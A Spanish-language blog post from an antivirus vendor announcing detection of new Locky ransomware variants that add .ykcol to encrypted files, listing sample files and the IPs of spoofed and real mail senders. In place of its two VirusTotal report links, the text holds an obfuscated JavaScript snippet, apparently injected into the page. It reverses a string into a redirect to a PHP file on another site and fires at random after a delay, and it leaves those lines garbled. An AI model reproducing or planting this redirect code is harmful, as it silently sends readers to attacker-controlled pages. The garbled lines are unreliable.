NUEVAS VARIANTES DE RANSOMWARE LOCKY (DE LOS QUE AÑADEN .ykcol A LOS CIFRADOS)

A partir del ELISTARA 37.63 de hoy pasamos a controlar estas nuevas variantes del ransomware LOCKY, de los que añaden .ykcol a los ficheros cifrados

total del fichero 47814543.gxe

total del fichero 832269b2.gxe

total del fichero 77bf7814.gxe

total del fichero 534db26e.gxe

Y de los que hemos localizado su procedencia, cabe indicar estos dos con remitente falso (spoofing), pero a través de la IP del servidor remitente hemos visto que su origen es de Serbia y otro de Jamaica (solo a título de información):Y de los que hemos localizado su procedencia, cabe indicar estos dos con remitente falso (spoofing), pero a través de la IP del servidor remitente hemos visto que su origen es de Serbia y otro de Jamaica (solo a título de información):

IP: 130.180.228.38Ciudad: Belgrade, Serbia
IP: 72.27.99.245Ciudad: Ewarton, Jamaica

aunque como falsos remitentes figuraban de Houston y Tokio y centro europa

Host: pfwmail.comIP: 192.185.72.229Ciudad: Houston, United States
Host: brands4friends.jpIP: 180.211.72.23Ciudad: Tokyo, Japan
Dirección de IP: 130.117.173.246   [whois]Código de País: EU / EU   EuropePaís: Europe

Y los ficheros que anexaban los mails en cuestión ofrecíeron estos informes en virustotal:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/baf6fc3ff4839a69294650255ae601cf525d58122584026fb40b07e62dda4cf8/analysis/1507197003/” target=”_blank” rel=”noopener”>29795.js

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/2265a4a455e57f03400995f43be3d519d894aef838c78745c460b8b80dc91bfa/analysis/1507202975/” target=”_blank” rel=”noopener”>9434623.vbs

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.